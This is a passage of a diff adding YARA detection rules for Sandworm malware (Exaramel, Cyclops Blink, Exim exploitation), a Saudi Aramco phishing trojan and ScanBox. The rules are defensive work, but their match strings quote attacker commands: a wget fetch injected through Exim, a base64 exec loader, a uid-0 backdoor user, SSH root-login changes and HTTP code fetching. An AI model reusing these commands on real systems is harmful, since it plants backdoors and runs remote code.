+    $opcodes01 = { 55 89 E5 E8 00 00 00 00 58 83 C0 06 C9 C3 }
+
+    /*
+      8B 5E 3C                mov     ebx, [esi+3Ch]  ; Offset to PE header
+      8B 5C 1E 78             mov     ebx, [esi+ebx+78h] ; Length of headers
+      8B 4C 1E 20             mov     ecx, [esi+ebx+20h] ; Number of data directories
+      53                      push    ebx
+      8B 5C 1E 24             mov     ebx, [esi+ebx+24h] ; Export table
+      01 F3                   add     ebx, esi
+    */
+    // Export parser
+    $opcodes02 = { 8B 5E 3C 8B 5C 1E 78 8B 4C 1E 20 53 8B 5C 1E 24 01 F3 }
+
+  condition:
+    any of them
+}
diff --git a/yara-Neo23x0/apt_sandworm_centreon.yar b/yara-Neo23x0/apt_sandworm_centreon.yar
new file mode 100644
index 0000000..f1ea6e4
--- /dev/null
+++ b/yara-Neo23x0/apt_sandworm_centreon.yar
@@ -0,0 +1,233 @@
+/*
+    Reworked YARA rules as provided by FR/ANSSI/SDO in report on Sandworm activity 
+    https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf
+
+    - simplified structure (removed private rules)
+    - performance / memory tuning by removal of unnecessary regular expressions
+    - removal of overapping rules (rules that contained the specific socket path '/tmp/.applocktx')
+*/
+
+rule WEBSHELL_PAS_webshell {
+   meta:
+      author = "FR/ANSSI/SDO (modified by Florian Roth)"
+      description = "Detects P.A.S. PHP webshell - Based on DHS/FBI JAR-16-2029 (Grizzly  Steppe)"
+      reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
+      date = "2021-02-15"
+      score = 70
+      id = "862aab77-936e-524c-8669-4f48730f4ed5"
+   strings:
+      $php = "<?php"
+      $strreplace = "(str_replace("
+      $md5 = ".substr(md5(strrev($"
+      $gzinflate = "gzinflate"
+      $cookie = "_COOKIE"
+      $isset = "isset"
+   condition:
+      ( filesize > 20KB and filesize < 200KB ) and
+      all of them
+}
+
+rule WEBSHELL_PAS_webshell_ZIPArchiveFile {
+   meta:
+      author = "FR/ANSSI/SDO (modified by Florian Roth)"
+      description = "Detects an archive file created by P.A.S. for download operation"
+      reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
+      date = "2021-02-15"
+      score = 80
+      id = "081cc65b-e51c-59fc-a518-cd986e8ee2f7"
+   strings:
+      $s1 = "Archive created by P.A.S. v."
+   condition:
+      $s1
+}
+
+rule WEBSHELL_PAS_webshell_PerlNetworkScript {
+   meta:
+      author = "FR/ANSSI/SDO"
+      description = "Detects PERL scripts created by P.A.S. webshell"
+      reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
+      date = "2021-02-15"
+      score = 90
+      id = "1625b63f-ead7-5712-92b4-0ce6ecc49fd4"
+   strings:
+      $pl_start = "#!/usr/bin/perl\n$SIG{'CHLD'}='IGNORE'; use IO::Socket; use FileHandle;"
+      $pl_status = "$o=\" [OK]\";$e=\" Error: \""
+      $pl_socket = "socket(SOCKET, PF_INET, SOCK_STREAM,$tcp) or die print \"$l$e$!$l"
+      $msg1 = "print \"$l OK! I\\'m successful connected.$l\""
+      $msg2 = "print \"$l OK! I\\'m accept connection.$l\""
+   condition:
+      filesize < 6000 and
+      ( $pl_start at 0 and all of ($pl*) ) or
+      any of ($msg*)
+}
+
+rule WEBSHELL_PAS_webshell_SQLDumpFile {
+   meta:
+      author = "FR/ANSSI/SDO"
+      description = "Detects SQL dump file created by P.A.S. webshell"
+      reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
+      date = "2021-02-15"
+      score = 90
+      id = "4c26feeb-3031-5c91-9eeb-4b5fe9702e39"
+   strings:
+      $ = "-- [ SQL Dump created by P.A.S. ] --"
+   condition:
+      1 of them
+}
+
+rule APT_MAL_Sandworm_Exaramel_Configuration_Key {
+   meta:
+      author = "FR/ANSSI/SDO"
+      description = "Detects the encryption key for the configuration file used by Exaramel malware as seen in sample e1ff72[...]"
+      reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
+      date = "2021-02-15"
+      score = 80
+      id = "8078de62-3dd2-5ee0-8bda-f508e4013144"
+   strings:
+      $ = "odhyrfjcnfkdtslt"
+   condition:
+      all of them
+}
+
+rule APT_MAL_Sandworm_Exaramel_Configuration_Name_Encrypted {
+   meta:
+      author = "FR/ANSSI/SDO"
+      description = "Detects the specific name of the configuration file in Exaramel malware as seen in sample e1ff72[...]"
+      reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
+      date = "2021-02-15"
+      score = 80
+      id = "1c06f5fc-3435-51cd-92fb-17a4ab6b63ad"
+   strings:
+      $ = "configtx.json"
+   condition:
+      all of them
+}
+
+rule APT_MAL_Sandworm_Exaramel_Configuration_File_Plaintext {
+   meta:
+      author = "FR/ANSSI/SDO"
+      description = "Detects contents of the configuration file used by Exaramel (plaintext)"
+      reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
+      date = "2021-02-15"
+      score = 80
+      id = "6f0d834b-e6c8-59e6-bf9a-b4fd9c0b2297"
+   strings:
+      $ = /\{"Hosts":\[".{10,512}"\],"Proxy":".{0,512}","Version":".{1,32}","Guid":"/
+   condition:
+      all of them
+}
+
+rule APT_MAL_Sandworm_Exaramel_Configuration_File_Ciphertext {
+   meta:
+      author = "FR/ANSSI/SDO"
+      description = "Detects contents of the configuration file used by Exaramel (encrypted with key odhyrfjcnfkdtslt, sample e1ff72[...]"
+      reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
+      date = "2021-02-15"
+      score = 80
+      id = "763dbb17-2bad-5b40-8a7b-b71bc5849cd9"
+   strings:
+      $ = { 6F B6 08 E9 A3 0C 8D 5E DD BE D4 } // encrypted with key odhyrfjcnfkdtslt
+   condition:
+      all of them
+}
+
+rule APT_MAL_Sandworm_Exaramel_Socket_Path {
+   meta:
+      author = "FR/ANSSI/SDO"
+      description = "Detects path of the unix socket created to prevent concurrent executions in Exaramel malware"
+      reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
+      date = "2021-02-15"
+      score = 80
+      id = "3aab84c9-9748-5d11-9cd7-efa9151036cf"
+   strings:
+      $ = "/tmp/.applocktx"
+   condition:
+      all of them
+}
+
+rule APT_MAL_Sandworm_Exaramel_Task_Names {
+   meta:
+      author = "FR/ANSSI/SDO"
+      description = "Detects names of the tasks received from the CC server in Exaramel malware"
+      reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
+      date = "2021-02-15"
+      score = 80
+      id = "185f2f3b-bf5c-54af-bca2-400d08bf9c91"
+   strings:
+      $ = "App.Delete"
+      $ = "App.SetServer"
+      $ = "App.SetProxy"
+      $ = "App.SetTimeout"
+      $ = "App.Update"
+      $ = "IO.ReadFile"
+      $ = "IO.WriteFile"
+      $ = "OS.ShellExecute"
+   condition:
+      all of them
+}
+
+rule APT_MAL_Sandworm_Exaramel_Struct {
+   meta:
+      author = "FR/ANSSI/SDO"
+      description = "Detects the beginning of type _type struct for some of the most important structs in Exaramel malware"
+      reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
+      date = "2021-02-15"
+      score = 80
+      id = "8282e485-966c-554d-8e41-70dc1657f5ea"
+   strings:
+      $struct_le_config = {70 00 00 00 00 00 00 00 58 00 00 00 00 00 00 00 47 2d 28 42 0? [2] 19}
+      $struct_le_worker = {30 00 00 00 00 00 00 00 30 00 00 00 00 00 00 00 46 6a 13 e2 0? [2] 19}
+      $struct_le_client = {20 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 7b 6a 49 84 0? [2] 19}
+      $struct_le_report = {30 00 00 00 00 00 00 00 28 00 00 00 00 00 00 00 bf 35 0d f9 0? [2] 19}
+      $struct_le_task = {50 00 00 00 00 00 00 00 20 00 00 00 00 00 00 00 88 60 a1 c5 0? [2] 19}
+   condition:
+      any of them
+}
+
+rule APT_MAL_Sandworm_Exaramel_Strings_Typo {
+   meta:
+      author = "FR/ANSSI/SDO"
+      description = "Detects misc strings in Exaramel malware with typos"
+      reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
+      date = "2021-02-15"
+      score = 80
+      id = "fdc79b87-eb9e-5751-9474-ff653b073165"
+   strings:
+      $typo1 = "/sbin/init | awk "
+      $typo2 = "Syslog service for monitoring \n"
+      $typo3 = "Error.Can't update app! Not enough update archive."
+      $typo4 = ":\"metod\""
+   condition:
+      3 of ($typo*)
+}
+
+rule APT_MAL_Sandworm_Exaramel_Strings {
+   meta:
+      author = "FR/ANSSI/SDO (composed from 4 saparate rules by Florian Roth)"
+      description = "Detects Strings used by Exaramel malware"
+      reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
+      date = "2021-02-15"
+      score = 80
+      id = "fdc79b87-eb9e-5751-9474-ff653b073165"
+   strings:
+      $persistence1 = "systemd"
+      $persistence2 = "upstart"
+      $persistence3 = "systemV"
+      $persistence4 = "freebsd rc"
+
+      $report1 = "systemdupdate.rep"
+      $report2 = "upstartupdate.rep"
+      $report3 = "remove.rep"
+
+      $url1 = "/tasks.get/"
+      $url2 = "/time.get/"
+      $url3 = "/time.set"
+      $url4 = "/tasks.report"
+      $url5 = "/attachment.get/"
+      $url6 = "/auth/app"
+   condition:
+      ( 5 of ($url*) and all of ($persistence*) ) or 
+      ( all of ($persistence*) and all of ($report*) ) or 
+      ( 5 of ($url*) and all of ($report*) )
+}
+
diff --git a/yara-Neo23x0/apt_sandworm_cyclops_blink.yar b/yara-Neo23x0/apt_sandworm_cyclops_blink.yar
new file mode 100644
index 0000000..e37fa9b
--- /dev/null
+++ b/yara-Neo23x0/apt_sandworm_cyclops_blink.yar
@@ -0,0 +1,200 @@
+
+/* NCSC rules
+   slightly modified by Florian Roth for memory usage reasons
+*/
+
+rule APT_Sandworm_CyclopsBlink_notable_strings {
+   meta:
+      author = "NCSC"
+      description = "Detects notable strings identified within the Cyclops Blink executable"
+      hash1 = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"
+      hash2 = "c59bc17659daca1b1ce65b6af077f86a648ad8a8"
+      reference = "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"
+      date = "2022-02-23"
+      id = "81ccf582-41f5-5fe5-8afc-e008e01289ff"
+   strings:
+      // Process names masqueraded by implant
+      $proc_name1 = "[kworker/0:1]"
+      $proc_name2 = "[kworker/1:1]"
+      // DNS query over SSL, used to resolve C2 server address
+      $dns_query = "POST /dns-query HTTP/1.1\x0d\x0aHost: dns.google\x0d\x0a"
+      // iptables commands
+      $iptables1 = "iptables -I %s -p tcp --dport %d -j ACCEPT &>/dev/null"
+      $iptables2 = "iptables -D %s -p tcp --dport %d -j ACCEPT &>/dev/null"
+      // Format strings used for system recon
+      $sys_recon1 = "{\"ver\":\"%x\",\"mods\";["
+      $sys_recon2 = "uptime: %lu mem_size: %lu mem_free: %lu"
+      $sys_recon3 = "disk_size: %lu disk_free: %lu"
+      $sys_recon4 = "hw: %02x:%02x:%02x:%02x:%02x:%02x"
+      // Format string for filepath used to test access to device filesystem
+      $testpath = "%s/214688dsf46"
+      // Format string for implant configuration filepath
+      $confpath = "%s/rootfs_cfg"
+      // Default file download path
+      $downpath = "/var/tmp/a.tmp"
+   condition:
+      (uint32(0) == 0x464c457f) and (8 of them)
+}
+
+rule APT_Sandworm_CyclopsBlink_module_initialisation {
+   meta:
+      author = "NCSC"
+      description = "Detects the code bytes used to initialise the modules built into Cyclops Blink"
+      hash1 = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"
+      hash2 = "c59bc17659daca1b1ce65b6af077f86a648ad8a8"
+      reference = "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"
+      date = "2022-02-23"
+      id = "c81b92c4-3f70-5bbd-acfa-ed1e1d33461d"
+   strings:
+      // Module initialisation code bytes, simply returning the module ID
+      // to the caller
+      $ = {94 21 FF F0 93 E1 00 08 7C 3F 0B 78 38 00 00 ?? 7C 03
+      03 78 81 61 00 00 8E EB FF F8 7D 61 5B 78 4E 80 00 20}
+   condition:
+      (uint32(0) == 0x464c457f) and (any of them)
+}
+
+rule APT_Sandworm_CyclopsBlink_modified_install_upgrade {
+   meta:
+      author = "NCSC"
+      description = "Detects notable strings identified within the modified install_upgrade executable, embedded within Cyclops Blink"
+      hash1 = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"
+      hash2 = "c59bc17659daca1b1ce65b6af077f86a648ad8a8"
+      hash3 = "7d61c0dd0cd901221a9dff9df09bb90810754f10"
+      hash4 = "438cd40caca70cafe5ca436b36ef7d3a6321e858"
+      reference = "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"
+      date = "2022-02-23"
+      id = "4c4f7262-df74-5f6a-afc0-df1fcae4741c"
+   strings:
+      // Format strings used for temporary filenames
+      $ = "/pending/%010lu_%06d_%03d_p1"
+      $ = "/pending/sysa_code_dir/test_%d_%d_%d_%d_%d_%d"
+      // Hard-coded key used to initialise HMAC calculation
+      $ = "etaonrishdlcupfm"
+      // Filepath used to store the patched firmware image
+      $ = "/pending/WGUpgrade-dl.new"
+      // Filepath of legitimate install_upgrade executable
+      $ = "/pending/bin/install_upgraded"
+      // Loop device IOCTL LOOP_SET_FD
+      $ = {38 80 4C 00}
+      // Loop device IOCTL LOOP_GET_STATUS64
+      $ = {38 80 4C 05}
+      // Loop device IOCTL LOOP_SET_STATUS64
+      $ = {38 80 4C 04}
+      // Firmware HMAC record starts with the string "HMAC"
+      $ = {3C 00 48 4D 60 00 41 43 90 09 00 00}
+   condition:
+      (uint32(0) == 0x464c457f) and (6 of them)
+}
+
+rule APT_Sandworm_CyclopsBlink_core_command_check {
+   meta:
+      author = "NCSC"
+      description = "Detects the code bytes used to test the command ID being sent to the core component of Cyclops Blink"
+      hash1 = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"
+      hash2 = "c59bc17659daca1b1ce65b6af077f86a648ad8a8"
+      reference = "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"
+      date = "2022-02-23"
+      id = "46066474-7647-52fb-b40d-30ff8e285b6e"
+   strings:
+      // Check for command ID equals 0x7, 0xa, 0xb, 0xc or 0xd
+      $cmd_check = {81 3F 00 18 88 09 00 05 54 00 06 3E 2F 80 00 (07|0A|0B|0C|0D) }
+   condition:
+      (uint32(0) == 0x464c457f) and (#cmd_check == 5)
+}
+
+rule APT_Sandworm_CyclopsBlink_config_identifiers {
+   meta:
+      author = "NCSC"
+      description = "Detects the initial characters used to identify Cyclops Blink configuration data"
+      hash1 = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"
+      hash2 = "c59bc17659daca1b1ce65b6af077f86a648ad8a8"
+      reference = "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"
+      date = "2022-02-23"
+      id = "db5b3a4a-82c2-500a-88f6-340b3392eac8"
+   strings:
+      // Main config parameter data starts with the string "<p: "
+      //$ = "<p: " fullword  // short atom - not necessary
+      // RSA public key data starts with the string "<k: "
+      $ = {3C 00 3C 6B 60 00 3A 20 90 09 00 00}
+      // X.509 certificate data starts with the string "<c: "
+      $ = {3C 00 3C 63 60 00 3A 20 90 09 00 00}
+      // RSA private key data starts with the string "<s: "
+      $ = {3C 00 3C 73 60 00 3A 20 90 09 00 00}
+   condition:
+      (uint32(0) == 0x464c457f) and (all of them)
+}
+
+rule APT_Sandworm_CyclopsBlink_handle_mod_0xf_command {
+   meta:
+      author = "NCSC"
+      description = "Detects the code bytes used to check module ID 0xf control flags and a format string used for file content upload"
+      hash1 = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"
+      hash2 = "c59bc17659daca1b1ce65b6af077f86a648ad8a8"
+      reference = "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"
+      date = "2022-02-23"
+      id = "36646b7a-389d-5fd9-88a1-e43e7224763a"
+   strings:
+      // Tests execute flag (bit 0)
+      $ = {54 00 06 3E 54 00 07 FE 54 00 06 3E 2F 80 00 00}
+      // Tests add module flag (bit 1)
+      $ = {54 00 06 3E 54 00 07 BC 2F 80 00 00}
+      // Tests run as shellcode flag (bit 2)
+      $ = {54 00 06 3E 54 00 07 7A 2F 80 00 00}
+      // Tests upload flag (bit 4)
+      $ = {54 00 06 3E 54 00 06 F6 2F 80 00 00}
+      // Upload format string
+      $ = "file:%s\n" fullword
+   condition:
+      (uint32(0) == 0x464c457f) and (all of them)
+}
+
+rule APT_Sandworm_CyclopsBlink_default_config_values {
+   meta:
+      author = "NCSC"
+      description = "Detects the code bytes used to set default Cyclops Blink configuration values"
+      hash1 = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"
+      hash2 = "c59bc17659daca1b1ce65b6af077f86a648ad8a8"
+      reference = "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"
+      date = "2022-02-23"
+      id = "04067609-1173-51f2-907f-2a236aae6c7c"
+   strings:
+      // Unknown config value set to 0x19
+      $ = {38 00 00 19 90 09 01 A4}
+      // Unknown config value set to 0x18000
+      $ = {3C 00 00 01 60 00 80 00 90 09 01 A8}
+      // Unknown config value set to 0x4000
+      $ = {38 00 40 00 90 09 01 AC}
+      // Unknown config value set to 0x10b
+      $ = {38 00 01 0B 90 09 01 B0}
+      // Unknown config value set to 0x2711
+      $ = {38 00 27 11 90 09 01 C0}
+   condition:
+      (uint32(0) == 0x464c457f) and (3 of them)
+}
+
+rule APT_Sandworm_CyclopsBlink_handle_mod_0x51_command {
+   meta:
+      author = "NCSC"
+      description = "Detects the code bytes used to check commands sent to module ID 0x51 and notable strings relating to the Cyclops Blink update process"
+      hash1 = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"
+      hash2 = "c59bc17659daca1b1ce65b6af077f86a648ad8a8"
+      reference = "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"
+      date = "2022-02-23"
+      id = "a6800aed-27dc-5d01-b005-1eb4a62344a3"
+   strings:
+      // Check for module command ID equals 0x1, 0x2 or 0x3
+      $cmd_check = {88 1F [2] 54 00 06 3E 2F 80 00 (01|02|03) }
+      // Legitimate WatchGuard filepaths relating to device configuration
+      $path1 = "/etc/wg/configd-hash.xml"
+      $path2 = "/etc/wg/config.xml"
+      // Mount arguments used to remount root filesystem as RW or RO
+      $mnt_arg1 = "ext2"
+      $mnt_arg2 = "errors=continue"
+      $mnt_arg3 = {38 C0 0C 20}
+      $mnt_arg4 = {38 C0 0C 21}
+   condition:
+      (uint32(0) == 0x464c457f) and (#cmd_check == 3) and
+      ((@cmd_check[3] - @cmd_check[1]) < 0x200) and
+      (all of ($path*)) and (all of ($mnt_arg*))
+}
diff --git a/yara-Neo23x0/apt_sandworm_exim_expl.yar b/yara-Neo23x0/apt_sandworm_exim_expl.yar
new file mode 100644
index 0000000..1cf3c42
--- /dev/null
+++ b/yara-Neo23x0/apt_sandworm_exim_expl.yar
@@ -0,0 +1,167 @@
+
+rule APT_Sandworm_Keywords_May20_1 {
+   meta:
+      description = "Detects commands used by Sandworm group to exploit critical vulernability CVE-2019-10149 in Exim"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf"
+      date = "2020-05-28"
+      id = "e0d4e90e-5547-5487-8d0c-a141d88fff7c"
+   strings:
+      $x1 = "MAIL FROM:<$(run("
+      $x2 = "exec\\x20\\x2Fusr\\x2Fbin\\x2Fwget\\x20\\x2DO\\x20\\x2D\\x20http"
+   condition:
+      filesize < 8000KB and
+      1 of them
+}
+
+rule APT_Sandworm_SSH_Key_May20_1 {
+   meta:
+      description = "Detects SSH key used by Sandworm on exploited machines"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf"
+      date = "2020-05-28"
+      hash1 = "dc074464e50502459038ac127b50b8c68ed52817a61c2f97f0add33447c8f730"
+      hash2 = "538d713cb47a6b5ec6a3416404e0fc1ebcbc219a127315529f519f936420c80e"
+      id = "ea2968b8-7ae4-56b8-9547-816c5e37c50a"
+   strings:
+      $x1 = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2q/NGN/brzNfJiIp2zswtL33tr74pIAjMeWtXN1p5Hqp5fTp058U1EN4NmgmjX0KzNjjV"
+   condition:
+      filesize < 1000KB and
+      1 of them
+}
+
+rule APT_Sandworm_SSHD_Config_Modification_May20_1 {
+   meta:
+      description = "Detects ssh config entry inserted by Sandworm on compromised machines"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf"
+      date = "2020-05-28"
+      hash1 = "dc074464e50502459038ac127b50b8c68ed52817a61c2f97f0add33447c8f730"
+      hash2 = "538d713cb47a6b5ec6a3416404e0fc1ebcbc219a127315529f519f936420c80e"
+      id = "dd60eeb7-3d4b-5a6a-8054-50c617ee8c73"
+   strings:     
+      $x1 = "AllowUsers mysql_db" ascii
+
+      $a1 = "ListenAddress" ascii fullword
+   condition:
+      filesize < 10KB and
+      all of them
+}
+
+rule APT_Sandworm_InitFile_May20_1 {
+   meta:
+      description = "Detects mysql init script used by Sandworm on compromised machines"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf"
+      date = "2020-05-28"
+      hash1 = "dc074464e50502459038ac127b50b8c68ed52817a61c2f97f0add33447c8f730"
+      hash2 = "538d713cb47a6b5ec6a3416404e0fc1ebcbc219a127315529f519f936420c80e"
+      id = "0bd613e3-6bd4-5cec-bc0d-2bdb83caf142"
+   strings:     
+      $s1 = "GRANT ALL PRIVILEGES ON * . * TO 'mysqldb'@'localhost';" ascii
+      $s2 = "CREATE USER 'mysqldb'@'localhost' IDENTIFIED BY '" ascii fullword
+   condition:
+      filesize < 10KB and
+      all of them
+}
+
+rule APT_Sandworm_User_May20_1 {
+   meta:
+      description = "Detects user added by Sandworm on compromised machines"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf"
+      date = "2020-05-28"
+      hash1 = "dc074464e50502459038ac127b50b8c68ed52817a61c2f97f0add33447c8f730"
+      hash2 = "538d713cb47a6b5ec6a3416404e0fc1ebcbc219a127315529f519f936420c80e"
+      id = "ada549a4-abcc-5c0a-9601-75631e78c835"
+   strings:     
+      $s1 = "mysql_db:x:" ascii /* malicious user */
+
+      $a1 = "root:x:"
+      $a2 = "daemon:x:"
+   condition:
+      filesize < 4KB and all of them
+}
+
+rule APT_WEBSHELL_PHP_Sandworm_May20_1 {
+   meta:
+      description = "Detects GIF header PHP webshell used by Sandworm on compromised machines"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf"
+      date = "2020-05-28"
+      hash1 = "dc074464e50502459038ac127b50b8c68ed52817a61c2f97f0add33447c8f730"
+      hash2 = "538d713cb47a6b5ec6a3416404e0fc1ebcbc219a127315529f519f936420c80e"
+      id = "b9ec02c2-fa83-5f21-95cf-3528047b2d01"
+   strings:     
+      $h1 = "GIF89a <?php $" ascii
+      $s1 = "str_replace(" ascii
+   condition:
+      filesize < 10KB and
+      $h1 at 0 and $s1
+}
+
+rule APT_SH_Sandworm_Shell_Script_May20_1 {
+   meta:
+      description = "Detects shell script used by Sandworm in attack against Exim mail server"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf"
+      date = "2020-05-28"
+      hash1 = "dc074464e50502459038ac127b50b8c68ed52817a61c2f97f0add33447c8f730"
+      hash2 = "538d713cb47a6b5ec6a3416404e0fc1ebcbc219a127315529f519f936420c80e"
+      id = "21cf2c89-5511-5eb6-a2dd-4ad54ebfa2d1"
+   strings:     
+      $x1 = "echo \"GRANT ALL PRIVILEGES ON * . * TO 'mysqldb'@'localhost';\" >> init-file.txt" ascii fullword
+      $x2 = "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version" ascii fullword
+      $x3 = "sed -i -e '/PasswordAuthentication/s/no/yes/g; /PermitRootLogin/s/no/yes/g;" ascii fullword
+      $x4 = "useradd -M -l -g root -G root -b /root -u 0 -o mysql_db" ascii fullword
+      
+      $s1 = "/ip.php?port=${PORT}\"" ascii fullword
+      $s2 = "sed -i -e '/PasswordAuthentication" ascii fullword
+      $s3 = "PATH_KEY=/root/.ssh/authorized_keys" ascii fullword
+      $s4 = "CREATE USER" ascii fullword
+      $s5 = "crontab -l | { cat; echo" ascii fullword
+      $s6 = "mysqld --user=mysql --init-file=/etc/opt/init-file.txt --console" ascii fullword
+      $s7 = "sshkey.php" ascii fullword
+   condition:
+      uint16(0) == 0x2123 and
+      filesize < 20KB and
+      1 of ($x*) or 4 of them
+}
+
+rule APT_RU_Sandworm_PY_May20_1 {
+   meta:
+      description = "Detects Sandworm Python loader"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/billyleonard/status/1266054881225236482"
+      date = "2020-05-28"
+      hash1 = "c025008463fdbf44b2f845f2d82702805d931771aea4b506573b83c8f58bccca"
+      id = "a392d800-1fe8-5ae9-b813-e1dfcedecda6"
+   strings:
+      $x1 = "o.addheaders=[('User-Agent','Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko')]" ascii fullword
+      
+      $s1 = "exec(o.open('http://" ascii
+      $s2 = "__import__({2:'urllib2',3:'urllib.request'}"
+   condition:
+      uint16(0) == 0x6d69 and
+      filesize < 1KB and
+      1 of ($x*) or 2 of them
+}
+
+rule APT_RU_Sandworm_PY_May20_2 {
+   meta:
+      description = "Detects Sandworm Python loader"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/billyleonard/status/1266054881225236482"
+      date = "2020-05-28"
+      hash1 = "abfa83cf54db8fa548942acd845b4f34acc94c46d4e1fb5ce7e97cc0c6596676"
+      id = "5b32ad64-d959-5632-a03c-17aa055b213f"
+   strings:
+      $x1 = "import sys;import re, subprocess;cmd" ascii fullword
+      $x2 = "UA='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';server='http"
+      $x3 = "';t='/admin/get.php';req" ascii
+      $x4 = "ps -ef | grep Little\\ Snitch | grep " ascii fullword
+   condition:
+      uint16(0) == 0x6d69 and
+      filesize < 2KB and
+      1 of them
+}
diff --git a/yara-Neo23x0/apt_saudi_aramco_phish.yar b/yara-Neo23x0/apt_saudi_aramco_phish.yar
new file mode 100644
index 0000000..8361ad8
--- /dev/null
+++ b/yara-Neo23x0/apt_saudi_aramco_phish.yar
@@ -0,0 +1,27 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-10-12
+   Identifier: Saudi Aramco Phishing
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Saudi_Phish_Trojan {
+   meta:
+      description = "Detects a trojan used in Saudi Aramco Phishing"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/Z3JUAA"
+      date = "2017-10-12"
+      hash1 = "8ad94dc5d59aa1e9962c76fd5ca042e582566049a97aef9f5730ba779e5ebb91"
+      id = "d805391d-1256-5dac-8585-ccf3391d4e91"
+   strings:
+      $s1 = { 7B 00 30 00 7D 00 7B 00 31 00 7D 00 5C 00 00 09
+               2E 00 64 00 6C 00 6C 00 00 11 77 00 33 00 77 00
+               70 00 2E 00 65 00 78 00 65 00 00 1B 61 00 73 00
+               70 00 6E 00 65 00 74 00 5F 00 77 00 70 00 2E 00
+               65 00 78 00 65 }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 3000KB and 1 of them )
+}
diff --git a/yara-Neo23x0/apt_scanbox_deeppanda.yar b/yara-Neo23x0/apt_scanbox_deeppanda.yar
new file mode 100644
index 0000000..f8d6752
--- /dev/null
+++ b/yara-Neo23x0/apt_scanbox_deeppanda.yar
@@ -0,0 +1,34 @@
+
+rule ScanBox_Malware_Generic {
+	meta:
+		description = "Scanbox Chinese Deep Panda APT Malware http://goo.gl/MUUfjv and http://goo.gl/WXUQcP"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
